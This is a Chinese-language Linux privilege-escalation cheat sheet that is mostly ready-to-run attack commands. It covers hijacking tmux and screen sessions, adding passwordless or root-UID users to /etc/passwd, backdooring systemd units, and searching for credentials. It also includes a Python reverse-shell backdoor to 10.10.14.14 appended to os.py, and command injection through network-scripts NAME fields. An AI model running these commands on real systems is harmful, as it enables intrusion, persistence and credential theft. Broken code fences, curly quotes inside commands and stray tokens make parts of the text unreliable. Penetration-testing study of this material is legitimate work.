从系统中**获取具有特定 ACL 的文件:**
shell
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
## Open shell sessions
在旧版本中,你可以劫持不同用户(root)的一些shell会话。
在最新的版本中,你将只能连接到你自己用户的屏幕会话。然而,你可以在会话中找到有趣的信息。
### screen sessions hijacking
列出会话
shell
screen -ls

攻击会话:
shell
screen -dr ## tmux sessions
这是旧的tmux版本的一个问题。我无法劫持一个由root作为非特权用户创建的tmux(v2.1)会话。
列出 tmux 会话
shell
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

攻击一个会话
shell
tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
ls -la /tmp/dev_sess #Check who can access it
rw-rw—— 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
# SSH
## Debian OpenSSL Predictable PRNG - CVE-2008-0166
2006年9月至2008年5月13日期间在基于Debian的系统(Ubuntu、Kubuntu等)上生成的所有SSL和SSH密钥都可能受到这个错误的影响。
这个错误是在这些操作系统中创建一个新的ssh密钥时造成的,因为只有32,768种变化是可能的。这意味着所有的可能性都可以被计算出来,有了ssh公钥就可以搜索到相应的私钥。你可以在这里找到计算出来的可能性:[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
## SSH 配置
+ PasswordAuthentication(密码认证):指定是否允许密码认证。默认为否。
+ PubkeyAuthentication(公钥认证):指定是否允许公钥认证。默认为是。
+ PermitEmptyPasswords(允许空密码):当允许密码认证时,它指定服务器是否允许以空密码串登录账户。缺省是否定的。
## PermitRootLogin
指定root是否可以使用ssh登录,默认为否。可能的值:
+ yes: root可以使用密码和私钥登录。
+ without-password or prohibit-password: root只能用私钥登录。
+ forced-commands-only:root只能用私钥登录,如果指定了命令选项的话
+ no : 不允许
## AuthorizedKeysFile
指定包含可用于用户认证的公钥的文件。它可以包含像%h这样的令牌,它将被 `home`所取代。你可以指出绝对路径(从/开始)或从用户家庭的相对路径。例如:
shell
AuthorizedKeysFile .ssh/authorized_keys access
该配置将表明,如果你试图用用户 "testusername "的私钥登录,ssh会将你的公钥与位于 `/home/testusername/.ssh/authorized_keys`和/`home/testusername/access`中的公钥进行比较。
# ForwardAgent/AllowAgentForwarding
SSH 代理转发允许你使用你的本地SSH密钥,而不是把密钥(没有口令!)放在你的服务器上。因此,你将能够通过ssh跳转到一个主机,并从那里使用位于初始主机的密钥跳转到另一个主机。
你需要 `在$HOME/.ssh.config`中像这样设置这个选项:
shell
Host example.com
ForwardAgent yes
```
注意,如果每次用户跳转到不同的机器上时,Host都是/etc/ssh_config
可以覆盖这个选项,允许或拒绝这个配置。
文件 /etc/sshd_config
可以通过关键字 AllowAgentForwarding
(默认为允许)来允许或拒绝 ssh-agent 转发。
如果你在一个环境中配置了转发代理[查看这里如何利用它来提升权限](ssh-forward-agent-exploitation.md)。
# Interesting Files
## Profiles files
文件 /etc/profile
和/etc/profile.d/
下的文件是当用户运行一个新的shell时执行的脚本。因此,如果你能写入或修改其中任何一个文件,你就能提升权限。
shell
ls -l /etc/profile /etc/profile.d/
如果发现任何奇怪的配置文件脚本,你应该检查它的敏感细节。
## Passwd/Shadow Files
根据操作系统的不同,/etc/passwd
和/etc/shadow
文件可能使用不同的名称,或者可能有一个备份。因此,建议找到所有这些文件,并检查你是否可以读取它们,看看文件内是否有哈希值:
shell
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
在某些情况下,你可以在/etc/passwd(或类似文件)中找到密码哈希值。
shell
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
## Writable /etc/passwd
首先,用以下命令之一生成一个密码。
shell
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
然后添加用户hacker,并添加生成的密码。
shell
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
E.g: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
现在我们就可以登陆 hacker:hacker
或者,你可以使用下面几行来添加一个没有密码的假用户。
> 警告:你可能会降低机器当前的安全性。
>
shell
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
> 注意:在BSD平台上,/etc/passwd位于/etc/pwd.db和/etc/master.passwd,同时/etc/shadow也被重命名为/etc/spwd.db。
>
你应该检查你是否可以写入一些敏感文件。例如,你能不能写到一些服务配置文件?
shell
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
例如,如果机器上运行的是Tomcat服务器,你可以修改/etc/systemd/里面的Tomcat服务配置文件,那么你可以修改这几行:
shell
ExecStart=/path/to/backdoor
User=root
Group=root
你的后门将在下次启动tomcat时被执行。
## 文件夹
以下文件夹可能包含备份或有趣的信息:/tmp
, /var/tmp
, /var/backups
, /var/mail
, /var/spool/mail
, /etc/exports
, /root
(也许你无法阅读最后一个,但可以试试)
shell
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
## Weird Location/Owned files
shell
#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf " Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done
## 最近几分钟内修改的文件
shell
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
## Sqlite DB files
shell
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
## _history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files
``shell
fils=
find / -type f ( -name “_history” -o -name “.sudo_as_admin_successful” -o -name “.profile” -o -name “bashrc” -o -name “httpd.conf” -o -name “.plan” -o -name “.htpasswd” -o -name “.git-credentials” -o -name “.rhosts” -o -name “hosts.equiv” -o -name “Dockerfile” -o -name “docker-compose.yml” ) 2>/dev/null`Hidden files
## 隐藏文件
shell
find / -type f -iname “.“ -ls 2>/dev/null
## Script/Binaries in PATH
shell
for d in echo $PATH | tr ":" "\n"
; do find $d -name “.sh” 2>/dev/null; done
for d in echo $PATH | tr ":" "\n"
; do find $d -type -f -executable 2>/dev/null; done
## Web files
shell
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
## Backups
shell
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f ( -name “backup“ -o -name “.bak” -o -name “.bck” -o -name “.bk” ) 2>/dev/nulll
## 已知的含有密码的文件
阅读[linPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)的代码,它可以搜索到几个可能包含密码的文件。
另一个有趣的工具,你可以用它来做:[LaZagne](https://github.com/AlessandroZ/LaZagne),这是一个开源的应用程序,用于检索存储在本地计算机上的大量密码,适用于Windows、Linux和Mac。
[凭证搜索](https://www.yuque.com/gulujili/jtz_book/gg6m77dg7ulz2hp3)
## Logs
如果你能读懂日志,你也许能在里面找到有趣/机密的信息。日志越奇怪,它就越有趣(可能)。
另外,一些配置 "bad "的(被备份的?)审计日志可能允许你在审计日志里面记录密码,这一点在这个帖子里有解释:[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)
shell
aureport —tty | grep -E “su |sudo “ | sed -E “s,su|sudo,${C}[1;31m&${C}[0m,g”
grep -RE ‘comm=”su”|comm=”sudo”‘ /var/log 2>/dev/null
为了阅读日志,adm组的用户将是非常有帮助的。
## Shell files
shell
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn’t exist
~/.profile # if it exists, read once if the two above don’t exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell
### Generic Creds Search/Regex
你还应该检查在其名称或内容中包含 " password "一词的文件,并检查日志中的IP和电子邮件,或哈希值的排列组合。
我不打算在这里列出如何做这些事情,但如果你有兴趣,你可以查看[linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)最后进行的检查。
# Writable files
## Python library hijacking
如果你知道Python脚本将在哪里执行,并且你可以在那个文件夹里写东西,或者你可以修改Python库,你可以修改OS库并对其进行后门处理(如果你能写出Python脚本将在哪里执行,复制并粘贴os.py库)。
要对库进行后门,只需在os.py库的末尾添加以下一行(改变IP和端口):
python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“10.10.14.14”,5678));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call([“/bin/sh”,”-i”]);
## Logrotate exploitation
logrotate存在一个漏洞,允许对日志文件或其任何父目录有写入权限的用户使logrotate在任何位置写入一个文件。如果logrotate是由root执行的,那么该用户将能够在/etc/bash_completion.d/中写入任何文件,这些文件将被任何登录的用户执行。
因此,如果你对日志文件或其任何父文件夹有写入权限,你可以使用privesc(在大多数Linux发行版上,logrotate每天都会以root用户身份自动执行一次)。另外,检查一下除了/var/log之外,是否还有更多的文件被轮换。
> 该漏洞影响到3.18.0及以前版本的logrotate。
>
关于该漏洞的更多详细信息可在此页面找到:
[Details of a logrotate race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)
你可以用[logrotten](https://github.com/whotwagner/logrotten)来利用这个漏洞。
这个漏洞与[CVE-2016-1247](https://www.cvedetails.com/cve/CVE-2016-1247/)(nginx日志)非常相似,所以每当发现可以改变日志时,请检查谁在管理这些日志,并检查是否可以通过符号链接替代日志来提升权限。
## /etc/sysconfig/network-scripts/ (Centos/Redhat)
如果出于某种原因,用户能够在/etc/sysconfig/network-scripts中编写一个ifcf-<whatever>脚本,或者它能够调整现有的脚本,那么你的系统就被破坏了。
网络脚本,例如ifcg-eth0是用于网络连接的。它们看起来和.INI文件完全一样。然而,它们在Linux上是由网络管理器(dispatcher.d)~源的。
在我的例子中,这些网络脚本中的NAME=属性没有被正确处理。如果你的名字中有白色/空白的空格,系统会尝试执行白色/空白空格之后的部分。这意味着第一个空格之后的所有内容都是以root身份执行的。
比如说:/etc/sysconfig/network-scripts/ifcfg-1337
shell
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
```
(注意Network和/bin/id之间的空白处。)
Vulnerability reference:Redhat/CentOS root through network-scripts
## init, init.d, systemd, and rc.d
/etc/init.d包含System V init工具(SysVinit)使用的脚本。这是Linux的传统服务管理包,包含init程序(当内核完成初始化后运行的第一个进程¹)以及一些启动、停止服务和配置服务的基础设施。具体来说,/etc/init.d中的文件是对启动、停止、重启和(支持时)重新加载命令做出反应的shell脚本,以管理一个特定的服务。这些脚本可以直接调用,或者(最常见的)通过一些其他的触发器(通常是/etc/rc?.d/中存在一个符号链接)来调用。(从这里开始)。这个文件夹的其他替代品是Redhat中的/etc/rc.d/init.d。
/etc/init包含Upstart使用的配置文件。Upstart是一个由Ubuntu倡导的年轻的服务管理包。/etc/init中的文件是告诉Upstart如何以及何时启动、停止、重新加载配置或查询服务状态的配置文件。从Lucid开始,Ubuntu正在从SysVinit过渡到Upstart,这就解释了为什么许多服务都带有SysVinit脚本,尽管Upstart的配置文件更受欢迎。SysVinit脚本是由Upstart的兼容层处理的。(来自这里)。
systemd 是一个 Linux 初始化系统和服务管理器,包括按需启动守护进程、挂载和自动挂载点维护、快照支持和使用 Linux 控制组跟踪进程等功能。systemd 提供了一个日志守护进程和其他工具和实用程序,以帮助完成常见的系统管理任务。(从这里开始)。
从发行库下载的软件包中的文件会进入/usr/lib/systemd/。系统管理员(用户)所做的修改会进入/etc/systemd/system/。
# 其他技巧
## NFS Privilege escalation
弱 NFS 权限
## Escaping from restricted Shells
## Cisco - vmanage
# Kernel Security Protections
+ https://github.com/a13xp0p0v/kconfig-hardened-check
+ GitHub - a13xp0p0v/linux-kernel-defence-map: Linux Kernel Defence Map shows the relationships between vulnerability classes, exploitation techniques, bug detection mechanisms, and defence technologies
## More help
GitHub - ropnop/impacket_static_binaries: Standalone binaries for Linux/Windows of Impacket’s examples
## Linux/Unix 提权工具
### Best tool to look for Linux local privilege escalation vectors:LinPEAS
LinEnum: https://github.com/rebootuser/LinEnum(-t option) Enumy: https://github.com/luke-goddard/enumyUnix Privesc Check:http://pentestmonkey.net/tools/audit/unix-privesc-checkLinux Priv Checker:www.securitysift.com/download/linuxprivchecker.pyBeeRoot:https://github.com/AlessandroZ/BeRoot/tree/master/LinuxKernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop*Mestaploit: